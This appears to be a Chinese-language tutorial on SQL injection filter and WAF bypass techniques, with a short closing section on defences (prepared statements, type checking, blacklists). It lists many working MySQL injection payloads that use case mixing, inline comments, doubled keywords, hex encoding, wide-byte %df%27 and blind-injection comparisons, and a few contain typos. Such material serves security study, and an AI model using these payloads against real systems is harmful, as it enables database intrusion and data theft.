一、sql注入的绕过方法
1.注释符过滤绕过
常用的注释符有:
1)-- 注释内容
2)# 注释内容
3)/* 注释内容 */
绕过方法
构造闭合:
?id=1' and sql语句 and '1'='1
这样接收源码前面的引号被 id=1' 中的后引号所闭合,源码中的后引号会被 '1'='1 中的前引号所闭合所以这样不用注释符就逃逸出引号。
2.大小写绕过
常用于 waf 的正则对大小写不敏感的情况。
uniOn selEct 1,2
3.内联注释绕过
当一些关键语句被过滤时,内联注释就是把一些特有的仅在 mysql 上的语句放在 /*! */中,这样这些语句如果在其它数据库中是不会被执行,但在
mysql 中会执行。
?id=1' union /*!select*/ 1,2
eg:
4.双写关键字绕过
一些简单的 waf 中,将关键字 select 等只使用 replace () 函数置换为空,这时候可以使用双写关键字绕过。
eg:
union seselectlect 1,2 #会将中间的 select 过滤掉之后将 se 与 lect 合并形成新的select
5.编码绕过
可以绕过引号过滤
1)十六进制绕过
eg:
?id=1' unino select 1,group_concat(column_name) from
information_schema.columns where table_name=0x61645F6C696E6B
这里演示的是当引号被过滤后,可以使用十六进制来写表名这样在调用时表名会被直接调用使用。
2)ascii 编码绕过
就是使用ascii 编码来替换需要引号引用的内容
eg:
Test =CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)
6.空格过滤绕过
可代替空格的方式:
1)/**/
2)()
4)`(tap 键上面的按钮)
5)tap
eg:
union/**/select/**/1,2 select(passwd)from(users) # 注意括号中不能含有 *
7.过滤掉过滤 or and xor (异或) not 绕过
可以用符号进行替代
and = &&、or = ||、xor = |、not = !
8.过滤等号(=)绕过
1)like、rlike
不加通配符的 like 执行的效果和 = 一致,所以可以用来绕过。
rlike 模糊匹配,只要字段的值中存在要查找的 部分 就会被选择出来,用来取代 = 时,rlike 的用法和上面的 like 一样,没有通配符效果和 =
一样
eg:
select * from users where id like 1;
2)regexp
MySQL 中使用 REGEXP 操作符来进行正则表达式匹配
eg:
UNION SELECT 1,group_concat(column_name) from information_schema.columns where
table_name regexp 'users'
9. 过滤大小于号绕过
在 sql 盲注中,一般使用大小于号来判断 ascii 码值的大小来达到爆破的效果。
1)greatest (n1, n2, n3…): 返回 n 中的最大值
select * from users where id = 1 and
greatest(ascii(substr(username,1,1)),1)=116 #这里的 greatest(函数,1)是用与比较取出其中最大的值用于爆破
2)least (n1,n2,n3…): 返回 n 中的最小值,与上同理。
3)strcmp (str1,str2): 若所有的字符串均相同,则返回 0,若根据当前分类次序,第一个参数小于第二个,则返回 -1,其它情况返回 1
eg:
select * from users where id = 1 and strcmp(ascii(substr(username,1,1)),117)
4)in 关键字
用于判断列名中是否存在此关键字,常用于布尔盲注
eg:
select * from users where id = 1 and substr(user(),1,1) in ('r')
#表示查询user()中id = 1的行的第一个字符是否为 r
10. 过滤引号绕过
1)使用编码绕过(16进制/ascii)
eg:
?id=1' unino select 1,group_concat(column_name) from
information_schema.columns where table_name=0x61645F6C696E6B
这里演示的是当引号被过滤后,可以使用十六进制来写表名这样在调用时表名会被直接调用使用。
2)宽字节注入
常用在 web 应用使用的字符集为 GBK 时,并且过滤了引号(一般为被函数转义的的过滤),就可以试试宽字节。
eg:
%df%27 union select 1,2,3
11.过滤逗号绕过
1)如果 waf 过滤了逗号,并且只能盲注,在取子串的几个函数中,有一个替代逗号的方法就是使用 from for ,其中 pos 代表从 pos
个开始读取 len 长度的子串
eg:常规写法 select substr ("string",1,3)
若过滤了逗号,可以使用 from for 来取代 select substr ("string" from 1 for 3)
eg:
select ascii (substr(user() from 1 for 1)) > 110
2)也可使用 join 关键字来绕过
适用于联合查询起别名的方式
eg:
select * from users union select * from (select 1)a join (select 2)b
join(select 3)c
上式等价于 union select 1,2,3
3)使用 like 关键字,适用于 substr () 等提取子串的函数中的逗号(适用于盲注)
select user() like "r%"
上式等价于 select ascii (substr (user (),1,1))=114
4)使用 offset 关键字,适用于 limit 中的逗号被过滤的情况
eg:
select * from users limit 1 offset 2
上式等价于 select * from users limit 2,1
不同点在于使用逗号是从行号在前进行截取,使用 offset 关键字是行号在后进行截取。
12、过滤函数绕过
1)sleep()
可以使用benchmark()函数进行替代
MySQL 有一个内置的benchmark()函数,可以测试某些特定操作的执行速度。
2)substr (),substring (),mid () 可以相互取代, 取子串的函数还有 left (),right ()
3)ord ()–>ascii (): 这两个函数在处理英文时效果一样,但是处理中文等时不一致。
二、sql注入的防御手段 、
1)预编译
预编译将一次查询通过两次交互完成,第一次交互发送查询语句的模板,由后端的SQL 引擎进行解析为 AST 或 Opcode ,第二次交互发送数据,代入AST 或
Opcode 中执行,无论后续向模板传入什么参数,这些参数仅仅被当成字符串进行查询处理,因此杜绝了sql 注入的产生。
也就是SQL引擎会预先进行语法分析,产生语法树,生成执行计划 ,也就是说, 后面你输入的参数,无论你输入的是什么,都 不会影响该sql语句的语法结构了
,因为语法分析已经完成了,而语法分析主要是分析sql命令,比如 select ,from ,where ,and, or ,order by
等等。所以即使你后面输入了这些sql命令,也不会被当成sql命令来执行了, 因为这些sql命令的执行,
必须先的通过语法分析,生成执行计划,既然语法分析已经完成,已经预编译过了,那么后面输入的参数,是绝对不可能作为sql命令来执行的, 只会被当做字符串字面值参数
。
2)检查数据类型
检查输入数据的类型在很大程度上可以限制SQL注入。例如对于book_id的查询,我们就可以限制其为数字,不允许插入其他类型的数据类型。或者对用户的输入信息进行严格的过滤,比如日期、年份等格式进行严格限制。均可以防御一些恶意注入。
当然,如果用户必须提交一段字符,那么此时我们就需要使用安全函数,或者一些waf实现对sql注入的防御了
3)设置黑名单
目的是对用户输入的命令进行严格过滤,也可以通过正则表达式进行过滤,但有可能会因为过滤的信息不全导致的过滤失败。